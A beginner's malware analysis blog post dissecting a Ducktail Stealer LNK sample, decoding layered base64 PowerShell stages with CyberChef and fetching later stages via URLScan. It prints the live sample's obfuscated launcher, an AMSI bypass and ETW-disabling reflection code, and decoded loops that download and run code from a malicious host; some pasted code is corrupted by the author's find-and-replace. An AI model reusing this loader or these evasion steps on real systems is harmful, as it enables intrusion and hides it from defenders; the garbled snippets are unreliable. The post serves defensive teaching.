How to disecting your Remote Access Trojan for beginners. Today: Ducktail Stealer Part 1.

Cristóbal Martínez
9 min readJun 11, 2024

--

This article was written originally for r/TheHuntersFramework, but when i send, the article and the subreddit, disapeared. This did some weeks a go, so, meanwhile, i publish here the full article in two parts.

Although I don’t usually write technical articles, a good friend asked me to share my experience dissecting a Ducktail Stealer. I think it can be a good exercise for anyone who wants to start analyzing malware samples.

I’ll indicate how I’m doing it in the simplest way I know, if you want to share a threat hunting ideas that can be used as detection mechanisms, let me a comment. To avoid making it longer, I’ll skip some secondary ramifications.

I’ll start the analysis with this sample, taken from this collection. Well, we’ll start by analyzing the sample in a secure environment, as isolated as possible. In my case, I use Hyper-V to create virtual machines where I can analyze the malware without compromising my equipment.

In my case, I was able to download the sample from VirusTotal. Don’t worry if you can’t download it, here you’ll see everything it has and every step.

Once the VM is opened, having an LNK file, we’ll try to open it with notepad to see its content.

You’ll get something like this:

Code of LNK File in plain text.

Once we remove the unnecessary spaces, and make it look nice it will look like this:

%COMSPEC%
%SystemRoot%\\\\System32\\\\imageres.dll
/c s^T^aR^t /m^I^n "" Pow^E^r^shE^lL -W^i^n^d^%wINDIr:~7,1%^w^S^t^Y^le H^%WINdir:~4,1%dd^e^N -N^o^L^Og^o -N^O^PR^oF%winDIR:~4,1%lE -EXec^utI^ONP^%wINDIr:~7,1%L^i^cy BY^p^a%WindIR:~9,1%^S -%wIndIr:~0,1%omma^N^d "$syizt= [SySteM.TexT.ENcODInG]::ASCII.GeTSTRINg([SysteM.ConvErT]::FrOmBase64StrINg('SW4='));$mjbdlb=[SystEm.TeXt.ENCoDiNg]::ASCII.GeTSTrInG([SYstem.CONVert]::FrOmBASe64StriNg('dk9rRS1FWHByRVNTSU9u'));$yyfhwbj= ($syizt + $mjbdlb);&$yyfhwbj ([SYSTem.TExT.ENCoDInG]::ASCII.GeTSTRiNG([SYstEm.ConVERT]::FROmBAsE64STRINg('JGp0eG10eGFmcW49IFtTWVN0ZU0uVGV4dC5FTkNvRGlOR106OkFTQ0lJLkdFdFNUUklORyhbU3lTVGVtLkNPTnZlclRdOjpGUk9NQmFzZTY0U1RyaU5nKCdKRU52Ym5SbFRsUWdQU0JKYm5aUGEwVXRWMlZpVW1WeFZXVnpWQ0F0VlhKSklDZG9kSFE9JykpOyR4dnpmY2xteD1bU3lTdEVtLlRFeHQuRW5Db2RJbkddOjpBU0NJSS5HZXRTdFJpTkcoW1NZU1RlbS5Db25WRXJUXTo6RlJvTUJBc0U2NFNUUkluZygnY0RvdkwyUmhkR0YwY21GdVptVnlMbTl1YkdsdVpTOWhjR2t2Wm1sc1pXUmhkR0V2Y0hNdk9HUTNOalZtTjJSalpEWXdabVZtWlRjNE4yTm1PRGcwTkdZelltUm1OMlluSUMxVlUyVkNRWE5wWTFCQlVuTnBUa2M3U1U1MmIydEZMVVY0Y0hKRmMzTnBiM
#%SystemRoot%\\\\System32\\\\imageres.dll
%COMSPEC%
%SystemRoot%\\\\System32\\\\imageres.dll

To avoid making the analysis too long, we’ll ignore the %COMSPEC% variable. You can read on Wikipedia about what it does, although it’s not uncommon to see it used in malware.

We’re going to stick with the important fragment, that is, we have an LNK that calls cmd, which will be hidden, and in turn, this to a PowerShell. Then this obfuscated PowerShell using uppercase and lowercase letters randomly combined with symbols like ^ and letters will try to make an invocation that uses the typical parameters of PowerShell malware 101:

  • ExecutionPolicy bypass
  • NoLogo
  • NoProfile
  • Windows Style hidden

These parameters are in the official Microsoft documentation, so if you don’t know them, I recommend that you save this page in favorites, because they are the ABC of PowerShell malware.

Once we get past all of this, we’ll go to what really matters, the malicious payload, that is, the function encoded in base64, which also, is divided into 2 to complicate reading:

$syizt= [SySteM.TexT.ENcODInG]::ASCII.GeTSTRINg([SysteM.ConvErT]::FrOmBase64StrINg('SW4='));
$mjbdlb=[SystEm.TeXt.ENCoDiNg]::ASCII.GeTSTrInG([SYstem.CONVert]::FrOmBASe64StriNg('dk9rRS1FWHByRVNTSU9u'));
$yyfhwbj= ($syizt + $mjbdlb);
&$yyfhwbj ([SYSTem.TExT.ENCoDInG]::ASCII.GeTSTRiNG([SYstEm.ConVERT]::FROmBAsE64STRINg('JGp0eG10eGFmcW49IFtTWVN0ZU0uVGV4dC5FTkNvRGlOR106OkFTQ0lJLkdFdFNUUklORyhbU3lTVGVtLkNPTnZlclRdOjpGUk9NQmFzZTY0U1RyaU5nKCdKRU52Ym5SbFRsUWdQU0JKYm5aUGEwVXRWMlZpVW1WeFZXVnpWQ0F0VlhKSklDZG9kSFE9JykpOyR4dnpmY2xteD1bU3lTdEVtLlRFeHQuRW5Db2RJbkddOjpBU0NJSS5HZXRTdFJpTkcoW1NZU1RlbS5Db25WRXJUXTo6RlJvTUJBc0U2NFNUUkluZygnY0RvdkwyUmhkR0YwY21GdVptVnlMbTl1YkdsdVpTOWhjR2t2Wm1sc1pXUmhkR0V2Y0hNdk9HUTNOalZtTjJSalpEWXdabVZtWlRjNE4yTm1PRGcwTkdZelltUm1OMlluSUMxVlUyVkNRWE5wWTFCQlVuTnBUa2M3U1U1MmIydEZMVVY0Y0hKRmMzTnBiM

And here we’ll start to analyze the code, for that, the first thing we need is to understand the code, so we’ll assign more normal variable names, like “var 1, var 2”. This way we can understand the flow. A trick I use is to use “replace” in notepad:

Make your variables easy to read, make easier the understanding.

We replace all. It will look like this:

$var1= [SySteM.TexT.ENcODInG]::ASCII.GeTSTRINg([SysteM.ConvErT]::FrOmBase64StrINg('SW4='));
$var2=[SystEm.TeXt.ENCoDiNg]::ASCII.GeTSTrInG([SYstem.CONVert]::FrOmBASe64StriNg('dk9rRS1FWHByRVNTSU9u'));
$var3= ($var1 + $var2);
&$var3 ([SYSTem.TExT.ENCoDInG]::ASCII.GeTSTRiNG([SYstEm.ConVERT]::FROmBAsE64STRINg('JGp0eG10eGFmcW49IFtTWVN0ZU0uVGV4dC5FTkNvRGlOR106OkFTQ0lJLkdFdFNUUklORyhbU3lTVGVtLkNPTnZlclRdOjpGUk9NQmFzZTY0U1RyaU5nKCdKRU52Ym5SbFRsUWdQU0JKYm5aUGEwVXRWMlZpVW1WeFZXVnpWQ0F0VlhKSklDZG9kSFE9JykpOyR4dnpmY2xteD1bU3lTdEVtLlRFeHQuRW5Db2RJbkddOjpBU0NJSS5HZXRTdFJpTkcoW1NZU1RlbS5Db25WRXJUXTo6RlJvTUJBc0U2NFNUUkluZygnY0RvdkwyUmhkR0YwY21GdVptVnlMbTl1YkdsdVpTOWhjR2t2Wm1sc1pXUmhkR0V2Y0hNdk9HUTNOalZtTjJSalpEWXdabVZtWlRjNE4yTm1PRGcwTkdZelltUm1OMlluSUMxVlUyVkNRWE5wWTFCQlVuTnBUa2M3U1U1MmIydEZMVVY0Y0hKRmMzTnBiM

Now we can understand the flow, we have a variable 3, which is the sum of the code var1 + var2 + var 3. So we can now go to the Cyberchef kitchen, and load our configuration to decode it and understand what’s happening. If you’ve never decoded a malware, in Cyberchef you’ll first have to select what you’re going to decode, in this case, we’re going to emulate the function “FromBase64” that will allow us to decode the text to our language, much more understandable. To do this, in the same order as in the previous text, we will take the text between the quotes inside each function, and paste it together, without spaces, including symbols of =. It will look like this:

Decoding PowerShell base64 code. Source: Cyberchef

And the result will look like this, just below:

InvOkE-EXprESSIOn$jtxmtxafqn= [SYSteM.Text.ENCoDiNG]::ASCII.GEtSTRING([SySTem.CONverT]::FROMBase64STriNg('JENvbnRlTlQgPSBJbnZPa0UtV2ViUmVxVWVzVCAtVXJJICdodHQ='));$xvzfclmx=[SyStEm.TExt.EnCodInG]::ASCII.GetStRiNG([SYSTem.ConVErT]::FRoMBAsE64STRIng('cDovL2RhdGF0cmFuZmVyLm9ubGluZS9hcGkvZmlsZWRhdGEvcHMvOGQ3NjVmN2RjZDYwZmVmZTc4N2NmODg0NGYzYmRmN2YnIC1VU2VCQXNpY1BBUnNpTkc7SU52b2tFLUV4cHJFc3Npb

As we can see, we have a very typical behavior in PowerShell malware, and that is to make a matryoshka with another base64 powershell. Surely this powershell is also not <<a threat>>, and only downloads the next phase of the attack. This matryoshka is made because we have the function “Invoke-Expression”, aka “IEX” to invoke the next encoded function.

Note: Using several concatenated stages is a very common technique in PowerShell malware to confuse antivirus and EDR. Although antivirus and EDR are getting better at detecting these types of threats.

We will follow the same step as before to decode the PowerShell malware, but with a difference, in this case, as we do not see the order, we will go one by one variable, and if necessary, then we will group the decoded responses from Cyberchef, so if the sense of execution is relevant we will keep it:

Decoding var $jtxmtxafqn
Decoding var $xvzfclmx

In this case, the response has been “easy”, since we can see in the decoded content below, that this part of the threat, tries to find an online resource:

**$ConteNT = InvOkE-WebReqUesT -UrI 'htt**p://datatranfer.online/api/filedata/ps/8d765f7dcd60fefe787cf8844f3bdf7f' -USeBAsicPARsiNG;INvokE-ExprEssi

I have used bold for the contents of var 1, and underline for var 2. As we can see, in this threat we can group the following variables without problem.

The use of the function “Invoke-WebRequest” that we can see in the content variable, what it will do is that from the same PowerShell process makes an internet connection. This detail is important, because if PowerShell makes the connection, it will do so using the PowerShell User-Agent, and a smart attacker will not allow connections from other user-agents. The final “invoke-expressi” we don’t have to worry about it being cut. PowerShell in its immense wisdom allows to shorten commands (Windows + Sysadmins…….) and this is exploited by the attackers.

In the following image, we can see the response (and clue), of what happens if a user tries to access directly:

Information about web content. Source Virustotal (premium version).

Fortunately, we are hunters, and as it says in our bible, we will use our “hacker” mindset to solve this. In this case, we will use another free and useful tool, URLScan. This is the setup I will use to get the file:

Trying to get the “good” response from server using one of PowerShell User-Agent versions. Source: Urlscan.io

I have left the scan public, so by going directly to this link you can see the result.

Well, if we go to the “Content” section of URLScan, we can see the result. I will leave it here:

$zanztxbozv = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("STdEUW9rWTI5MWJuUWdQU0F4TURzTkNuZG9hV3hsS0NSamIzVnVkQ0F0WjNRZ01Da05DbnNOQ2drTkNnbDBjbmw3RFFvSkNTUmpiMjUwWlc1MElEMGdTVzUyYjJ0bExWZGxZbEpsY1hWbGMzUWdMVlZ5YVNBa2RYSnBJQzFWYzJWQ1lYTnBZMUJoY25OcGJtYzdEUW9KQ1VsdWRtOXJaUzFGZUhCeVpYTnphVzl1SUNSamIyNTBaVzUwTG1OdmJuUmxiblE3RFFvSkNXSnlaV0ZyT3cwS0NYME5DZ2xqWVhSamFBMEtDWHNOQ2drSlYzSnBkR1V0U0c5emRDQWtYeTVGZUdObGNIUnBiMjR1VFdWemMyRm5aUTBLQ1Fra1kyOTFiblFnTFQwZ01Uc05DZ2tKVTNSaGNuUXRVMnhsWlhBZ0xYTWdNVFU3RFFvSmZRMEtmUT09"));
$dhqzizq = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("SkhWeWFTQTlJQ0pvZEhSd09pOHZaR0YwWVhSeVlXNW1aWEl1YjI1c2FXNWxMMkZ3YVM5bWFXeGxaR0YwWVM5d2N5OWlaV1l4TW1KaVl6UmlZamt3TXpFNU16UTRNelZoTnpnMU16VmpaakJoTkM="));
$byaksneu = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("blB1YmxpYyxTdGF0aWM="));
$zmongcdpd = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Tm8="));
$wlbmcf = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("d1Byb3ZpZGVy"));
$pylnpljwem = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("ZXQ="));
$tkyey = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlRyYWNpbmcuUFNFdHdMb2dQcm92aWRlcg=="));
$sjrfgwj = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("U3lzdA=="));
$vgeszblu = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("dWJsaWMsSW5zdGFuY2U="));
$dhrtf = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Tm9uUA=="));
$zfazcb = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bmFibGVk"));
$kjske = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bV9l"));
$toydrn = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("c3RlbS5EaWFnbm9zdGljcy5FdmVudGluZy5FdmVudFByb3ZpZGVy"));
$xhxvekyaz = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("U3k="));
$kjgktbyaef = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("eXN0ZW0uQ29yZQ=="));
$voykbpl = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Uw=="));
$pbrgf = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Tm9uUHVibGljLFN0YXRpYw=="));
$plops = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(""));
$swgdwuj = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("dEZhaWxlZA=="));
$skvyrmguw = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YW1zaUluaQ=="));
$wtcwe = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YWdlbWVudC5BdXRvbWF0aW9uLkFtc2lVdGlscw=="));
$obbxoklatv = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("U3lzdGVtLk1hbg=="));
$qumao = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("ZG1wdlpXbDNZbTV1SUQwZ0pIUnlkV1U9"));
$ideowjdc = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("SkdoaFltdHRhSE54"));

Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($ideowjdc + $qumao))));
$rhnalksbggbnh = [Ref].Assembly.GetType(($obbxoklatv + $wtcwe)).GetField(($skvyrmguw + $swgdwuj),($plops + $pbrgf));
$rhnalksbggbnh.SetValue($null, $habkmhsqvjoeiwbnn);
[Reflection.Assembly]::LoadWithPartialName(($voykbpl + $kjgktbyaef)).GetType(($xhxvekyaz + $toydrn)).GetField(($kjske + $zfazcb),($dhrtf + $vgeszblu)).SetValue([Ref].Assembly.GetType(($sjrfgwj + $tkyey)).GetField(($pylnpljwem + $wlbmcf),($plops + $pbrgf)).GetValue($null),0);
Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($dhqzizq + $zanztxbozv))));

This code is longer, so it will take a bit more time to dissect it. It’s okay if we’re overwhelmed, our main goal is to know whether something is malicious or not. If we miss any details, our reversing colleagues can help us out.

As with the previous samples, we will start by replacing the variable names. In my case, they ended up like this:

$var22=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("blB1YmxpYyxTdGF0aWM="));
$var21=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Tm8="));
$var20=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("d1Byb3ZpZGVy"));
$var19=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("ZXQ="));
$var18=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlRyYWNpbmcuUFNFdHdMb2dQcm92aWRlcg=="));
$var17=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("U3lzdA=="));
$var16=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("dWJsaWMsSW5zdGFuY2U="));
$var15=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Tm9uUA=="));
$var14=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bmFibGVk"));
$var13=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bV9l"));
$var12=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("c3RlbS5EaWFnbm9zdGljcy5FdmVudGluZy5FdmVudFByb3ZpZGVy"));
$var11=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("U3k="));
$var10=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("eXN0ZW0uQ29yZQ=="));
$var9=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Uw=="));
$var8=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Tm9uUHVibGljLFN0YXRpYw=="));
$var7=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(""));
$var6=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("dEZhaWxlZA=="));
$var5=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YW1zaUluaQ=="));
$var4=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YWdlbWVudC5BdXRvbWF0aW9uLkFtc2lVdGlscw=="));
$var3=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("U3lzdGVtLk1hbg=="));
$var2=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("ZG1wdlpXbDNZbTV1SUQwZ0pIUnlkV1U9"));
$var1=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("SkdoaFltdHRhSE54"));

Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($var1 + $var2)))); # $habkmhsqvjoeiwbnn = $true #
$var23 = [Ref].Assembly.GetType(($var3 + $var4))# System.Management.Automation.AmsiUtils #
.GetField(($var5 + $var6), # amsiInitFailed #
($var7 + $var8)); # NonPublic,Static #
$var23.SetValue($null,$var24);
[Reflection.Assembly]::LoadWithPartialName(($var9 + $var10)) # System.Core #
.GetType(($var11 + $var12)) # System.Diagnostics.Eventing.EventProvider #
.GetField(($var13 + $var14), # m_enabled #
($var15 + $var16)) # NonPublic,Instance #
.SetValue([Ref].Assembly.GetType(($var17 + $var18)) # System.Management.Automation.Tracing.PSEtwLogProvider #
.GetField(($var19 + var20), # etwProvider #
($var7 + $var8)) # NonPublic,Static #
.GetValue($null),0);

### Payload ###
$pay2=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("STdEUW9rWTI5MWJuUWdQU0F4TURzTkNuZG9hvar183hsS0NSamIzvar18nvar18kQ0F0WjNRZ01Da05DbnNOQ2drTkNnbDBjbmw3RFFvar18SkNTUmpiMjUwWlc1MElEMGdTvar18zUyYjJ0bExWZGxZbEpsY1hWbGMzUWdMvar18lZ5Yvar18NBa2RYSnBJQzFWYzJWQ1lYTnBZMUJoY25OcGJtYzdEUW9KQ1var18sdWRtOXJaUzFGZUhCevar18pYTnphvar18zl1SUNSamIyNTBavar18zUwTG1OdmJuUmxiblE3RFFvar18SkNXSnlavar180ZyT3cwS0NYME5DZ2xqWvar18hSamFBMEtDWHNOQ2drSlYzSnBkR1var180U0c5emRDQWtYeTvar18GZUdObGNIUnBiMjR1var18FdWemMyRm5aUTBLQ1Fra1kyOTFiblFnTFQwZ01Uc05DZ2tKvar18TNSaGNuUXRvar18MnhsWlhBZ0xYTWdNvar18FU3RFFvar18SmZRMEtmUT09"));
$pay1=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("SkhWeWFTQTlJQ0

Okay, now we will start translating, in the first step, we will separate the upper block from the “Payload” block. We will leave Payload for the end, we will start from the top, which will be the block of defensive evasion.

To translate the first block, we will follow the flow of execution by adding variables and translating their result. Although here we are going to find a complicated result, and that is that the attacker, to evade the “intelligent” detection of the EDRs, has made the first translation of all the variables, be another block of base64:

Decoding PowerShell Base64 Matrioska. Source Cyberchef.

Note: To know if something is base 64 we can use “Magic” instead of “FromBase64” in Cyberchef. This function helps us understand what something could be.

Continuing with our base64, we will need to take the result from below and paste it again above to decode this new and <<apparent>> base64.

In this case we have that our variable 1 and 2 decode to a declaration, of what our variable 24 is “True”, so we will note it down, and iteratively, we will note all the others. It will look like this:

Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($var1 + $var2)))); # $habkmhsqvjoeiwbnn = $true #
$var23 = [Ref].Assembly.GetType(($var3 + $var4))# System.Management.Automation.AmsiUtils #
.GetField(($var5 + $var6), # amsiInitFailed #
($var7 + $var8)); # NonPublic,Static #
$var23.SetValue($null,$var24);
[Reflection.Assembly]::LoadWithPartialName(($var9 + $var10)) # System.Core #
.GetType(($var11 + $var12)) # System.Diagnostics.Eventing.EventProvider #
.GetField(($var13 + $var14), # m_enabled #
($var15 + $var16)) # NonPublic,Instance #
.SetValue([Ref].Assembly.GetType(($var17 + $var18)) # System.Management.Automation.Tracing.PSEtwLogProvider #
.GetField(($var19 + var20), # etwProvider #
($var7 + $var8)) # NonPublic,Static #
.GetValue($null),0);

Well, now we have some understanding, don’t worry if you don’t understand half, in reality we can summarize everything we have here in 2 big “things”:

The thing is that our attacker wants to perform an evasion. Okay. Let’s continue with the next piece of code with the pay* variables:

$pay2=[System.Text.Encoding]::ASCII.GetString([System.Convar18ert]::FromBase64String("STdEUW9rWTI5MWJuUWdQU0F4TURzTkNuZG9hvar183hsS0NSamIzvar18nvar18kQ0F0WjNRZ01Da05DbnNOQ2drTkNnbDBjbmw3RFFvar18SkNTUmpiMjUwWlc1MElEMGdTvar18zUyYjJ0bExWZGxZbEpsY1hWbGMzUWdMvar18lZ5Yvar18NBa2RYSnBJQzFWYzJWQ1lYTnBZMUJoY25OcGJtYzdEUW9KQ1var18sdWRtOXJaUzFGZUhCevar18pYTnphvar18zl1SUNSamIyNTBavar18zUwTG1OdmJuUmxiblE3RFFvar18SkNXSnlavar180ZyT3cwS0NYME5DZ2xqWvar18hSamFBMEtDWHNOQ2drSlYzSnBkR1var180U0c5emRDQWtYeTvar18GZUdObGNIUnBiMjR1var18FdWemMyRm5aUTBLQ1Fra1kyOTFiblFnTFQwZ01Uc05DZ2tKvar18TNSaGNuUXRvar18MnhsWlhBZ0xYTWdNvar18FU3RFFvar18SmZRMEtmUT09"));
$pay1=[System.Text.Encoding]::ASCII.GetString([System.Convar18ert]::FromBase64String("SkhWeWFTQTlJQ0pvar18ZEhSd09pOHZaR0YwWvar18hSevar18lXNW1aWEl1YjI1c2FXNWxMMkZ3Yvar18M5bWFXeGxaR0YwWvar18M5d2N5OWlavar181l4TW1Kavar18l6UmlZamt3TXpFNU16UTRNelZoTnpnMU16var18mpaakJoTkM="));
Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($pay1 + $pay2))));

Decoding it by concatenating the 2 variables in Cyberchef, and decoding the result again, we will get a clearer code. Here’s how I set it up in CyberChef (CC):

The clear code should look like this:

$uri = "<http://datatranfer.online/api/filedata/ps/bef12bbc4bb9031934835a78535cf0a4>";
$count = 10;
while($count -gt 0)
{
try{
$content = Invoke-WebRequest -Uri $uri -UseBasicParsing;
Invoke-Expression $content.content;
break;
}
catch
{
Write-Host $_.Exception.Message
$count -= 1;
Start-Sleep -s 15;
}
}

Another URL with a path where it says “PS”. I can’t imagine what kind of file it will be. We also have a sleep 15, a technique that could be anti-defensive tools, although 15 sec, is a short time.

Well, this is the structure of the new file, downloaded from URLScan as we already know. I think from the structure you can imagine what it’s about:

$gfcfuas=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("MWJuUWdQU0F4TURzTkNuZG9hV3hsS0NSamIzVnVkQ0F0WjNRZ01Da05DbnNOQ2drTkNnbDBjbmw3RFFvSkNTUmpiMjUwWlc1MElEMGdTVzUyYjJ0bExWZGxZbEpsY1hWbGMzUWdMVlZ5YVNBa2RYSnBJQzFWYzJWQ1lYTnBZMUJoY25OcGJtYzdEUW9KQ1VsdWRtOXJaUzFGZUhCeVpYTnphVzl1SUNSamIyNTBaVzUwTG1OdmJuUmxiblE3RFFvSkNXSnlaV0ZyT3cwS0NYME5DZ2xqWVhSamFBMEtDWHNOQ2drSlYzSnBkR1V0U0c5emRDQWtYeTVGZUdObGNIUnBiMjR1VFdWemMyRm5aUTBLQ1Fra1kyOTFiblFnTFQwZ01Uc05DZ2tKVTNSaGNuUXRVMnhsWlhBZ0xYTWdNVFU3RFFvSmZRMEtmUTBL"));
$azjhdluwph=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("SkhWeWFTQTlJQ0pvZEhSd09pOHZaR0YwWVhSeVlXNW1aWEl1YjI1c2FXNWxMMkZ3YVM5bWFXeGxaR0YwWVM5d2N5OHpaRGxoWW1Kak5qRm1Nakk1WVRRd1lqVmxNemxpTWprek16WXlOemhrWkNJN0RRb2tZMjk="));
$admxzx=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("blB1YmxpYyxTdGF0aWM="));
$cfvjjpv=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Tm8="));
$lwbuyct=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("b3ZpZGVy"));
$mtaxtjzjjb=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("ZXR3UHI="));
$nboercje=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("LkF1dG9tYXRpb24uVHJhY2luZy5QU0V0d0xvZ1Byb3ZpZGVy"));
$csynxrqbrs=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("U3lzdGVtLk1hbmFnZW1lbnQ="));
$spsswwwun=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("LEluc3RhbmNl"));
$fabzccch=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Tm9uUHVibGlj"));
$bjjhyi=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("X2VuYWJsZWQ="));
$frryb=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bQ=="));
$mzpovip=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("eXN0ZW0uRGlhZ25vc3RpY3MuRXZlbnRpbmcuRXZlbnRQcm92aWRlcg=="));
$ozewtrb=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Uw=="));
$qovgia=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("eXN0ZW0uQ29yZQ=="));
$vzadkkpxfr=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Uw=="));
$bltnr=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("UHVibGljLFN0YXRpYw=="));
$rxmrbd=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Tm9u"));
$qzxmp=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bXNpSW5pdEZhaWxlZA=="));
$ggvfea=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YQ=="));
$avrscflt=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM="));
$cqdepz=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("U3lzdGVtLk1h"));
$vvjvziup=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("SjVlR3h4ZEhsbGJXMW1JRDBnSkhSeWRXVT0="));
$mqgzbh=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("SkdOamJt"));
Invoke-Expression
([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($mqgzbh
+ $vvjvziup)))); $suuomondvbrdvlrebz = [Ref].Assembly.GetType(($cqdepz +
$avrscflt)).GetField(($ggvfea + $qzxmp),($rxmrbd + $bltnr));
$suuomondvbrdvlrebz.SetValue($null,$ccnbyxlqtyemmf);
[Reflection.Assembly]::LoadWithPartialName(($vzadkkpxfr +
$qovgia)).GetType(($ozewtrb + $mzpovip)).GetField(($frryb + $bjjhyi),($fabzccch
+ $spsswwwun)).SetValue([Ref].Assembly.GetType(($csynxrqbrs +
$nboercje)).GetField(($mtaxtjzjjb + $lwbuyct),($rxmrbd +
$bltnr)).GetValue($null),0); Invoke-Expression
([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($azjhdluwph
+ $gfcfuas))));

To summarize, I am going to do the same procedure as before but only with the variables that contain the malicious code. I do this because I already know from the study of several samples that the behavior repeats itself. This is the code of the variables $azjhdluwph and $gfcfuas that contain the payload:

$uri = "<http://datatranfer.online/api/filedata/ps/3d9abbc61f229a40b5e39b29336278dd>";
$count = 10;
while($count -gt 0)
try{
$content = Invoke-WebRequest -Uri $uri -UseBasicParsing;
Invoke-Expression $content.content;
break;
}
catch
{
Write-Host $_.Exception.Message
$count -= 1;
Start-Sleep -s 15;
}

Continue in the part 2.

Happy hunting!

--

--

Cristóbal Martínez

Creator of The Hunter's Framework, the best framework for Threat Hunting. Cyber Threat Hunter and cybersecurity technian and consultant.